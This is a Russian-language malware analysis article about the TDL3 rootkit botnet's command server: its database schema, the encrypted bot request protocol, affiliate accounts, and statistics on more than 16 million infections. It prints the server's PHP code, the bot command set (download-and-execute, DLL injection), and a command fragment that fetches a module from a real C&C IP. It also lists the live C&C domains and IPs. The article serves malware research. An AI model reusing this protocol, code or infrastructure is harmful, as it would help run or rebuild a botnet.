 8287 ?        S      0:06 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
 8467 ?        S      0:00 /USR/SBIN/CRON
 8483 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
 8484 ?        S      0:03 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
 8637 ?        S      0:00 pickup -l -t fifo -u -c
 8812 ?        S      0:30 /usr/bin/php-cgi
 8903 ?        S      0:26 /usr/bin/php-cgi
 8937 ?        S      0:18 /usr/bin/php-cgi
 8966 ?        S      0:17 /usr/bin/php-cgi
 8971 ?        S      0:16 /usr/bin/php-cgi
 9057 ?        S      0:08 /usr/bin/php-cgi
 9081 ?        S      0:05 /usr/bin/php-cgi
 9249 ?        S      0:03 /usr/bin/php-cgi
 9299 ?        S      0:00 sh -c ps ax
 9300 ?        R      0:00 ps ax
26004 ?        S      0:00 [pdflush]
26007 ?        S      0:01 [pdflush]
27746 ?        Ss     0:00 ssh-agent
28031 ?        Ss     0:01 /usr/bin/php-cgi
28042 ?        Ss     0:03 /usr/bin/php-cgi

База данных и скрипты

В качестве СУБД на сервере используется MySQL, а в качестве веб-сервера — LightTPD, к которому в качестве обработчика CGI-приложений подключен пакет PHP. Кроме того, часть данных, обращения к которым производятся наиболее часто, кэшируются в памяти с помощью программы memcached.

Скрипты панели администрирования и шлюза для ботов находятся в директории /var/www/engine, которая имеет следующую структуру:

+--- cron              - PHP-скрипты, исполняемые по расписанию
+--- data              - база адресов GeoIP и некоторые текстовые файлы
+--- library           - различные библиотеки PHP, используемые скриптами
+--- public            - скрипты, обрабатывающие запросы от ботов
|                        (корневая директория веб-сервера, обслуживающего ботов)
\--- tools
|    +--- controllers  - PHP-скрипты для различных страниц панели администрирования
|    +--- layouts      - главный HTML-шаблон для панели администрирования
|    +--- public       - основные скрипты панели администрирования 
|    |                   (корневая директория веб-сервера, обслуживающего панель администрирования)
|    +--- views        - HTML-шаблоны-для различных страниц панели администрирования
+--- configuration.php - файл настроек доступа к базе данных и т.п.

На момент получения доступа к серверу база данных содержала 47 таблиц с общим количеством записей порядка 17 719 469 и занимала на диске примерно 2,6 ГБ.

Имена и назначения таблиц:

Имя таблицы Число записей Объём данных Назначение
affiliates 512 80,0 кБ Учётные записи партнёров и статистика по ним
affiliatesaccounts 607 64,0 кБ
affiliatesregistrations 507 64,0 кБ
affiliatesstatistics ≈ 62 136 8,5 МБ
affiliatesstatisticsbrowser ≈ 53 072 7,1 МБ
affiliatesstatisticsbuild ≈ 5 979 072 655,8 МБ
affiliatesstatisticscountry ≈ 245 253 26,1 МБ
affiliatesstatisticssts 63 3,3 кБ
affiliatesstatisticssystem ≈ 56 982 7,1 мБ
bots ≈ 5 247 199 1,4 ГБ Основная таблица с информацией о ботах
browsers 3 690 240,0 кБ Дополнительная информация о ботах (версии веб-браузеров, версии руткита и модуля TDLCMD.DLL, страна, версия операционной системы)
builds 172 16,0 кБ
countries 253 16,0 кБ
systems 101 16,0 кБ
commands 55 16,0 кБ Команды ботам, статистика по ним, история команд и дополнительные параметры
commandsexecuted ≈ 4 546 977 337,5 МБ
commandshistory 1 590 224,0 кБ)
commandsinfo 55 64,0 кБ
commandsproperties 909 64,0 кБ
modules 13 400,0 кБ Исполняемые модули для ботов
redirects 0 URL-перенаправления
redirectsexecuted 0
remover_bho 6 050 1,5 МБ Статистика модуля remover
remover_bho_stat 20 1,9 кБ
remover_dda 642 144,0 кБ
remover_dda_stat 21 1,9 кБ
remover_dir ≈ 37 991 7,5 МБ
remover_dir_stat 20 1,9 кБ
remover_errors 18 914 2,5 МБ
remover_extra ≈ 289 449 54,6 МБ
remover_extra_stat 18 1,9 кБ
remover_guid ≈ 21 220 4,5 МБ
remover_guid_stat 20 1,9 кБ
rules 0 Неизвестно
ruleshistory 0
statuses 1 982 72,3 кБ Неизвестно
statuses_limits 1 138 919 115,0 МБ
statuses_statistics 3 956 102,8 кБ
users 10 16,0 кБ Учётные записи пользователей панели управления

Далее будет приведена структура наиболее интересных таблиц и некоторые пояснения, касающиеся работы с ними.

Запросы от ботов к серверу

Сразу после инсталляции бот инициирует запрос команд от сервера и повторяет этот запрос через заданный в конфигурации интервал времени. Запросы бота, как уже было описано в первой части статьи, шифруются по алгоритму RC4 с использованием имени целевого сервера в качестве ключа, затем кодируются по алгоритму base64 и отправляются на веб-шлюз командного сервера по протоколу HTTPS.

Формат запросов на получение команд может отличаться от одной версии бота к другой. Для большинства версий, включая самые последние, запрос выглядит следующим образом:

bot_ID|aff_ID|aff_SID|rootkit_ver|tdlcmd_ver|os_ver|lang|browser|build_date|install_date

Назначение полей запроса:

Поле Назначение
bot_ID Уникальный идентификатор бота, например, 7a91eb86-a6be-4db5-8694-0337dad2c75d
aff_ID Идентификатор партнёра, владеющего ботом
aff_SID Идентификатор дополнительной учётной записи партнёра
rootkit_ver Версия руткита
tdlcmd_ver Версия модуля TDLCMD.DLL (основной модуль «полезной назрузки» бота)
os_ver Версия операционной системы
lang Язык операционной системы
browser Браузер, используемый на заражённом компьютере. Значение этого поля представляет собой путь к исполняемому файлу браузера, извлеченный из ключа реестра HKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command
build_date Дата сборки исполняемых файлов бота (необязательный параметр)
install_date Дата заражения (необязательный параметр)

Помимо запросов на получение команд, скрипты командного сервера также могут обрабатывать и ряд специальных запросов, которые имеют следующий вид:

module_ID|value_1|value_2|...|value_N
Поле Назначение
module_ID Идентификатор типа запроса (модуля, которому он адресован)
value_1value_N Произвольное количество строковых и/или числовых данных, формат и назначения которых зависят от типа запроса

Функциональность отправки специальных запросов не фигурирует в коде «полезной нагрузки» бота в явном виде, однако бот может отправлять подобные запросы в результате обработки команд, полученных с сервера (например, команды на загрузку дополнительного модуля «полезной нагрузки»).

Рассмотрим процесс обработки запросов от бота более подробно. В первых строках скрипта /var/www/engine/index.php происходит подключение необходимых заголовочных файлов, а также расшифровка запроса:

<?php
try {

    // объявление констант, содержащих пути к различным директориям
    define('DS'                    , DIRECTORY_SEPARATOR       );
    define('DIR_ROOT'              , realpath('../')           );
    define('DIR_LIBRARY'           , DIR_ROOT.DS.'library'     );
    define('DIR_LIBRARY_CLASSES'   , DIR_LIBRARY.DS.'classes'  );
    define('DIR_LIBRARY_MODELS'    , DIR_LIBRARY.DS.'models'   );
    define('DIR_LIBRARY_FUNCTIONS' , DIR_LIBRARY.DS.'functions');
    define('DIR_DATA'              , DIR_ROOT.DS.'data'        );

    // подключение внешних модулей
    require_once( DIR_ROOT . DS . 'configuration.php' );
    require_once( DIR_LIBRARY_CLASSES . DS . 'DBase.php' );
    require_once( DIR_LIBRARY_FUNCTIONS . DS . 'rc4Encrypt.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mBots.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliate.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliates.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mBrowsers.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mBuilds.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mSystems.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mCountries.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mCommands.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mCommandsMemcache.php' );
    
    // расшифровка запроса по RC4 (имя сервера используется в качестве ключа)
    $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
    $requestCount = 0;
    $requestHost = $_SERVER["HTTP_HOST"];

    if( $request ) {
        // разбиение строки запроса на элементы массива
        $request      = explode( '|', $request );
        $requestCount = sizeof( $request );
    } else {
        header("HTTP/1.0 404 Not Found");
        exit();
    }

    ...

Поля запроса, как видно из приведённого кода, сохраняются в массиве $request. Далее, в зависимости от значения первого элемента этого массива (а именно, идентификатора типа для специальных запросов), происходит подключение одного из следующих PHP-скриптов, обрабатывающих конкретные типы запросов:

Идентификатор типа специального запроса Имя скрипта Назначение
remover remover.php Приём статистики от модуля remover (подробнее о нём см. далее)
services services.php Управление учётными записями партнёров (создание, удаление, запрос информации). По всей видимости, эти возможности были предусмотрены для сбора статистики об учётных записях партнёров с внешнего хоста, однако по неизвестным причинам не был защищён какими-либо механизмами авторизации, что позволяет получить доступ к подробнейшей статистике о работе ботнета произвольным лицам.
rules rules.php Приём статистики о выполненных на стороне бота командах.
redirect redirect.php Выполнение перенаправления на содержащийся в базе URL по его числовому идентификатору.
installation installation.php Вывод содержимого файла /var/www/engine/data/affId_affSid.dat, где affId и affSid — идентификаторы основной и дополнительной учетных записей партнёра, полученные из полей запроса. Назначение информации, содержащейся в .dat-файле, неизвестно, поскольку соответствующих файлов на целевом сервере обнаружено не было.
modules modules.php Обработка запросов на загрузку модулей со стороны ботов.

Если значение первого элемента массива не совпало с приведенными в таблице идентификаторами, то такой запрос обрабатывается как запрос команды:

    } elseif( $requestCount == 8 || $requestCount == 10 ) {
    
        // подключение к базе данных
        DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
    
        // подключение к демону memcached
        $objMemcache = new Memcache;
        $objMemcache->connect( MCACHE_HOST, MCACHE_PORT );
        
        // получение информации о боте из полей запроса
        $requestName      = $request[0];
        $requestAffAid    = $request[1];
        $requestAffSid    = $request[2];
        $requestRk        = $request[3];
        $requestCmd       = $request[4];
        $requestSystem    = $request[5];
        $requestLang      = $request[6];
        $requestBrowser   = $request[7];
        
        if( $requestCount == 8 ) {    
            // информация о дате сборки и дате заражения не присутствует в запросе        
            $requestBuildDate   = 0;
            $requestInstallDate = 0;
        } else {
            $requestBuildDate   = strtotime( $request[8] );
            $requestInstallDate = strtotime( $request[9] );
        }

        $requestBuild     = "{$requestRk}_{$requestCmd}";
        $requestIp        = ip2long( $_SERVER['REMOTE_ADDR'] );

        $requestAffId     = null;
        $requestSystemId  = null;
        $requestBrowserId = null;
        $requestBuildId   = null;

        // подключение модуля engine.php
        // он осуществляет добавление информации о боте в базу данных и обработку запроса команды
        include('engine.php');
        
        $objMemcache->close();
        DBase::disconnect(); 
        
        ...

Возвращаемый боту в ответ на запрос список команд также шифруется по алгоритму RC4, но в качестве ключа в этом случае используется не имя сервера, а идентификатор бота (содержимое переменной $requestName).

Учётные записи партнёров

В таблице affiliates содержится информация об учётных записях партнёров. Их добавление и редактирование доступно оператору панели администрирования ботнета.

CREATE TABLE IF NOT EXISTS `affiliates` (
  `affId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
  `affAid` char(20) NOT NULL,                         -- идентификатор учётной записи партнёра
  `affGroup` int(11) unsigned NOT NULL,               -- группа учётной записи партнёра
  `affLogin` char(32) default NULL,                   -- имя (логин) учётной записи партнёра
  PRIMARY KEY  (`affId`)
);
Редактирование учётной записи партнёра в панели администрирования ботнета

Редактирование учётной записи партнёра в панели администрирования ботнета

Каждый партнёр может владеть произвольным количеством ботов. Идентификатор учётной записи партнёра «прошивается» в исполняемый файл бота на этапе его сборки и конфигурирования и хранится руткитом в файле config.ini на зашифрованной файловой системе.

Также для каждого партнёра доступно создание дополнительных учётных записей, которые используются для разделения ботов, принадлежащих конкретному партнёру, на группы.

Идентификаторы основной и дополнительной учётных записей партнёра в файле config.ini

Идентификаторы основной и дополнительной учётных записей партнёра в файле config.ini.

Учётными записями партнёров можно управлять без посредства панели администрирования, путём отправки специальных запросов типа services веб-шлюзу командного сервера. Формат параметров этого запроса выглядит так:

services|operation_code|argument_1|argument_2|...|argument_N
Поле Назначение
operation_code Код операции, которую необходимо выполнить
argument_1argument_N Необязательные аргументы, формат которых определяется конкретной операцией

Коды операций приведены в следующей таблице:

Код операции Аргументы Назначение
100 affAid, affLogin, affGroup Создание новой учётной записи партнёра.
110 affId Удаление существующей учётной записи партнёра.
120 affAid Перечисление всех дополнительных учётных записей для данной учётной записи партнёра.
150 engineType Добавление новой учётной записи партнёра с автоматической генерацией значения affAid. При этом значение affGroup выбирается в зависимости от значения engineType.
200 affAid, affSid, statDateFrom, statDateTo Запрос статистики по количеству установок бота для указанной учётной записи партнёра в заданный промежуток времени.
201 affAid, affSid, statDateFrom, statDateTo Запрос статистики количества ботов по странам для указанной учётной записи партнёра в заданный промежуток времени.
301 Перечисление существующих учётных записей партнёров.

Пояснение назначения параметров запроса:

Параметр Назначение
affId Параметры соответствуют одноимённым полям в таблице affiliates
affAid
affSid
affLogin
statDateFrom Даты в формате Y-m-d
statDateTo
affGroup Идентификатор группы партнёров

Перечень возможных групп, к которым может принадлежать партнёр, содержится в файле /var/www/engine/data/groups.txt:

Affiliates Groups
    1  - Test Installs
    10 - Our Installs
    20 - InstallConverter
    30 - ProfitCash
    40 - ReliefPPC
    50 - ConvertPPC

Для примера, запрос получения статистики по количеству установок бота в период с 01.08.2009 по 01.07.2010 для дополнительного учётной записи 0 партнёра с affAid, равным 10000, будет выглядеть следующим образом:

services|200|10000|0|2009-08-01|2010-07-01

Таблица ботов

Информация о боте представляет собой запись в таблице bots, которая создаётся при обработке первого запроса на получение команд от бота. При этом значения полей таблицы affId, affSid и botName извлекаются из соответствующих параметров запроса.

Класс mBots, обеспечивающий работу с таблицей bots, находится в файле /var/www/engine/library/models/mBots.php. Функции добавления и изменения информации о боте реализованы в скрипте /var/www/engine/public/engine.php.

Структура таблицы bots:

CREATE TABLE IF NOT EXISTS `bots` (                  
  `affId` int(11) unsigned NOT NULL,                  -- идентификатор учётной записи партнёра
  `affIdx` int(11) unsigned NOT NULL,                 -- обычно, содержит то же значение, что и affId
  `affSid` smallint(6) unsigned NOT NULL default '1', -- идентификатор дополнительной учётной записи
  `botId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
  `botName` char(60) NOT NULL,                        -- уникальное имя бота (параметр botid в config.ini)
  `botIp` bigint(20) NOT NULL,                        -- IP-адрес бота
  `botAdded` int(11) unsigned NOT NULL,               -- дата первого обращения бота к серверу
  `botAccess` int(11) unsigned NOT NULL,              -- дата последнего обращения бота к серверу
  `botCountry` tinyint(4) unsigned NOT NULL,          -- идентификатор страны бота
  `botSystem` smallint(6) unsigned NOT NULL,          -- идентификатор версии Windows заражённого компьютера
  `botBrowser` smallint(6) unsigned NOT NULL,         -- идентификатор версии браузера заражённого компьютера
  `botBuild` smallint(6) unsigned NOT NULL,           -- идентификатор версии руткита и модуля TDLCMD.DLL бота
  PRIMARY KEY  (`botId`),
  KEY `botName` (`botName`),
  KEY `affid_index` (`affId`),
  KEY `botAdded_index` (`botAdded`)
);

Система команд

В конце скрипта engine.php подключается файл /var/www/enginedata/commands.php. Его задача — вывод команд, которые требуется выполнить боту. При этом скрипт commands.php генерируется динамически на основе данных, хранящихся в таблице commandsinfo.

CREATE TABLE IF NOT EXISTS `commandsinfo` (
  `commOwner` int(11) NOT NULL default '1',           -- идентификатор учётной записи пользователя, добавившего команду
  `commId` int(11) unsigned NOT NULL auto_increment,  -- ключ таблицы
  `commName` varchar(255) NOT NULL,                   -- имя команды
  `commDesc` text NOT NULL,                           -- описание команды
  `commExe` varchar(255) NOT NULL,                    -- URL исполняемого файла (для команд, связанных с загрузкой и исполнением исполняемых файлов)
  `commStatus` enum('disable','enable',
      'deleted','temp') NOT NULL default 'enable',    -- статус команды (активная, неактивная, временная или удалённая)
  `commAdded` datetime NOT NULL,                      -- время добавления команды
  `commCode` text NOT NULL,                           -- PHP код команды, который будет включён в commands.php
  `commCodeCond` text NOT NULL,                       -- дополнительные параметры команды
  `commCodeComm` text NOT NULL,
  `commOrder` int(11) NOT NULL,                       -- порядковый номер команды
  PRIMARY KEY  (`commId`)
);

Класс mCommands, обеспечивающий работу с командами, находится в файле /var/www/engine/library/models/mCommands.php. Процедура динамического создания файла commands.php реализована в методе reGenerate, который вызывается по команде из панели администрирования:

    function reGenerate() {
        $code = '';
        
        // получение из базы данных информации о всех доступных командах
        $commands = $this->getSummaryFull();
        for ($i = 0; $i < sizeof($commands); $i++) {
            if ($commands[$i]['commStatus'] == 'enable') {
                // получение PHP кода для каждой из команд
                $code .= $this->getCode($commands[$i]['commId']) . "\r\n\r\n\r\n";
            }
        }
        
        // чтение файла-шаблона
        // он содержит статический код, который должен быть включён в commands.php
        $templateFile = dirname(__FILE__).DS.'commands.template';
        $fp = fopen($templateFile, 'r');
        $template = fread($fp, filesize($templateFile));
        fclose($fp);
        
        $template = str_replace('%COMMS%', $code, $template);
        
        // запись commands.php на диск
        $file = '/var/www/enginedata/commands.php';
        $fp = fopen($file, 'w');
        fwrite($fp, $template);
        fclose($fp);
    }
Добавление новой команды в панели администрирования

Добавление новой команды в панели администрирования

Для каждой команды можно указать следующие дополнительные параметры:

Оператор панели администрирования может даже редактировать непосредственно фрагмент PHP-кода, который будет включён в commands.php.

Редактирование кода команды в панели администрирования

Редактирование кода команды в панели администрирования

Бот может обрабатывать следующие команды:

Команда Описание
botnetcmd.SetCmdDelay(Seconds) Установка интервала обращения к серверу
botnetcmd.ModuleDownloadUnxor(URL, LocalPath) Загрузка зашифрованного исполняемого модуля
botnetcmd.FileDownloadRandom(URL, LocalPath) Загрузка произвольного файла
botnetcmd.LoadExe(FileURL) Загрузка и запуск исполняемого файла
botnetcmd.LoadExeKnock(FileURL, KnockURL) Загрузка и запуск исполняемого файла с отправкой HTTP-запроса на произвольный URL в случае успеха
botnetcmd.InjectorAdd(ProcessName, DLLName) Внедрение DLL в указанный процесс (* — во все процессы)
tdlcmd.ConfigWrite(Section, Parameter, Value) Запись произвольных данных в config.ini
tdlcmd.Download(URL, LocalPath) Загрузка произвольного файла.

Модули «полезной нагрузки»

Основные функции руткита TDL3 — «полезная нагрузка» — обеспечиваются дополнительными модулями. Модули представляют собой обычные динамические библиотеки, загружаемые с сервера и внедряемые в произвольный либо текущий процесс пользовательского режима.

Информация о доступных модулях хранится в таблице modules:

CREATE TABLE IF NOT EXISTS `modules` (
  `modId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
  `modName` char(255) NOT NULL,                       -- имя модуля
  `modData` longblob,                                 -- данные исполняемого образа модуля
  `modLoads` int(11) unsigned NOT NULL,               -- количество загрузок модуля
  PRIMARY KEY  (`modId`)
);

Загрузка файла модуля на заражённый компьютер может производиться с помощью команды ModuleDownloadUnxor. В качестве параметра ей передаётся зашифрованный запрос к серверу, формат полей которого выглядит следующим образом:

module|ModuleId!Key!
Поле Назначение
ModuleId Идентификатор модуля (значение поля modId таблицы modules)
Key Любая строка (необязательное поле). Значение данного параметра будет использовано в качестве ключа шифрования по алгоритму RC4 для модуля, выдаваемого боту в ответ на запрос

Запрос на загрузку модуля обрабатывается в файле /var/www/engine/public/modules.php:

<?php

    require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );

    // проверка наличия ключа для шифрования в запросе на загрузку модуля
    if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
        $modId    = $matches[1];
        $modCrypt = $matches[2];
    } else {
        $modId    = $request[1];
        $modCrypt = FALSE;
    }
 
    // получение информации о модуле
    $modDetails = mModules::details( $modId );

    if( $modCrypt ) {
        // возвращение клиенту данных модуля в зашифрованном виде
        print rc4Encrypt( $modCrypt, $modDetails['modData'] );
    } else {
        // возвращение клиенту данных модуля в открытом виде
        print $modDetails['modData'];
    }
    
    // приращение счётчика количества загрузок для данного модуля
    mModules::increment( $modId );

Исполнение команды, адресованной конкретному модулю, происходит путём отправки боту строки следующего вида:

ModuleName.Function([Params])
Поле Назначение
ModuleName Имя динамической библиотеки модуля на заражённом компьютере
Function Имя произвольной функции, экспортируемой динамической библиотекой модуля
Params Произвольные числовые или строковые параметры, которые следует передать вызываемой функции в качестве аргументов

Пример загрузки и исполнения модуля remover (фрагмент кода из commands.php):

// --- Command #273 Start ---

    $commId = 273;
    
    // получение информации о команде по её идентификатору
    $commDetails       = $objCommands->getCommand( $commId );
    $commDetailsCreate = FALSE;
    if( $commDetails == FALSE ) {
        $commDetails['commId']       = $commId;
        $commDetails['commRefences'] = 0;
        $commDetails['commSuccesed'] = 0;
        $commDetailsCreate           = TRUE;
    }
    
    // Condition 1
    if( $botBuild >= 26 ) {
        $commDetailsBot       = mCommands::getCommandExecuted( $commId, $botId );
        $commDetailsBotCreate = FALSE;
        if( $commDetailsBot == FALSE ) {
            $commDetailsBot['botId']        = $botId;
            $commDetailsBot['commId']       = $commId;
            $commDetailsBot['commDate']     = 0;
            $commDetailsBot['commSuccesed'] = 0;
            $commDetailsBotCreate           = TRUE;
        }
        
        // Condition 2
        if( ($commDetailsBot['commSuccesed'] < 1) ) {
            $commSucces  = TRUE;
            // команда на загрузку модуля и сохранение его под именем tdlrm.dll
            $commOutput .= "tdlcmd.Download('https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll')\n";
            // команда на исполнение функции Start() из tdlrm.dll
            $commOutput .= "tdlrm.Start()\n";
        } else {
            $commSucces  = FALSE;
        }
        
        ...
    
// --- Command #273 End ---

Добавление и редактирование модулей происходит в соответствующем разделе панели администрирования:

Редактирование модуля в панели администрирования

Редактирование модуля в панели администрирования

На момент получения доступа к серверу в базе данных присутствовали следующие модули:

Имя модуля Назначение
DDoS Реализация DDoS-атак
Remover Небольшой антивирус, работающий с базами сигнатур Malwarebytes' Anti-Malware и производящий на зараженном компьютере поиск «чужих» вредоносных программ.
TDLCMD Основной модуль «полезной нагрузки», используемый руткитом. В данном модуле реализованы функции отправки сообщений серверу, выполнения команд и т.п.
WSP/WSP Popup Модуль перехвата запросов для поисковых сервисов (Google, Yahoo, Bing, Ask, AOL) с целью подмены результатов поиска, отображаемых в браузере. Также содержит функции отображения всплывающих рекламных окон.

Модули защищены при помощи неизвестной программы для шифрования кода, что может затруднить их анализ.

На момент анализа числа загрузок для модуля Remover составляло 19 000 — таким образом, количество его загрузок несопоставимо мало относительно общего количества ботов. Это может свидетельствовать о том, что модуль Remover на момент анализа проходил тестирование, и что в будущем разработчиками бота планируется широкое использование своего собственного «антивируса» для борьбы с конкурирующими вредоносными программами.

Статистика

В завершении статьи приведём несколько срезов статистики по ботнету. Статистические данные были получены путём анализа базы данных командного сервера d45648675.cn по состоянию на 7 февраля 2010 года.

Общие данные:

Количество ботов за всё время 5 247 115
Количество учётных записей партнёров 512
Дата установки первого бота 12.08.2009
Дата установки последнего бота 07.02.2010

Более подробные статистические данные приведены ниже в виде графиков и диаграмм.

Число новых установок по неделям (одна точка на графике соответствует одной неделе)

Число новых установок по неделям (одна точка на графике соответствует одной неделе)

Заметный пик на графике соответствует «рекорду» в 443 364 уникальные установки бота 19 января 2010 года. Все установки были относительно равномерно распределены между несколькими десятками партнёрских учётных записей. Это может говорить о том, что причиной столь стремительного роста числа инсталляций стала волна эксплуатации некой уязвимости «нулевого дня».

Число уникальных ботов, которые обращались к серверу в течение недели

Число уникальных ботов, которые обращались к серверу в течение недели

Распределение ботов по странам

Распределение ботов по странам

Распределение ботов по партнёрам

Распределение ботов по партнёрам

Как видно из диаграммы, самый крупный партнёр обеспечивал 22,3% всех инсталляций руткита, вдвое превышая по эффективности второго партнёра.

Распределение новых инсталляций по партнёрам

Распределение новых инсталляций по партнёрам

Как видно из диаграммы, 90% партнёров обеспечивают от 1 000 до 50 000 загрузок, из которых 50% приходится на мелких партнёров (число загрузок от 1 000 до 5 000). Партнёров с числом загрузок более 5 000 всего 17, из них всего один обеспечил более 1 000 000 загрузок.

Версии Windows

Версии Windows

Как видно из диаграммы, операционная система Windows XP, в которой не поддерживаются современные защитные механизмы (UAC, DEP и ASLR), является наиболее уязвимой для вредоносных программ. Относительно малое число заражений операционной системы Windows 7 не связано с долей данной операционной системы в числе остальных (которая достаточно высока). Можно предположить, что доставка бота на компьютеры с Windows 7 осуществлялась преимущественно методами социальной инженерии.

Версии руткита

Версии руткита

Версии модуля TDLCMD.DLL

Версии модуля TDLCMD.DLL

Поскольку сервер d45648675.cn функционирует и в настоящее время, мы приняли решение собрать обновлённую статистику на момент написания статьи (14 июля 2010) с помощью механизмов, предоставляемых описанным выше специальным запросом типа services. Мы также проанализировали несколько десятков инсталляторов руткита TDL3, чтобы выявить адреса всех активных командных серверов.

Помимо сервера, соответствующего доменному имени d45648675.cn (и ряду других), на данный момент также используется второй сервер a57990057.cn. Каждый из двух серверов имеет несколько IP-адресов, и каждому IP-адресу сопоставлено несколько доменов. Список IP-адресов и доменов для обоих серверов приведён в следующей таблице:

IP-адрес Доменное имя Количество ботов за всё время Количество учётных записей партнёров Дата установки первого бота
91.212.226.60 d45648675.cn 8 547 241 857 12.08.2009
91.212.226.59 zz87jhfda88.com
91.212.226.59 lj1i16b0.com
61.61.20.132 a57990057.cn 7 860 677 2 547 31.12.2009
61.61.20.132 68b6b6b6.com
91.212.226.7 0o0o0o0o0.com
61.61.20.135 jro1ni1l1.com
61.61.20.135 34jh7alm94.asia

Как видно из таблицы, в период с 07.02.2010 по 14.07.2010 количество ботов, прошедших через первый сервер, выросло почти на 40%, а общее количество компьютеров, заражённых руткитом TDL3 в период с 12.08.2009 по 14.07.2010, составило более 16 000 000. Крупнейшим ботнетом в мире до настоящего момента считался ботнет Mariposa, объём которого на момент его закрытия был оценён экспертами в 12 000 000 зомби-машин.

Last updated: 17.03.2012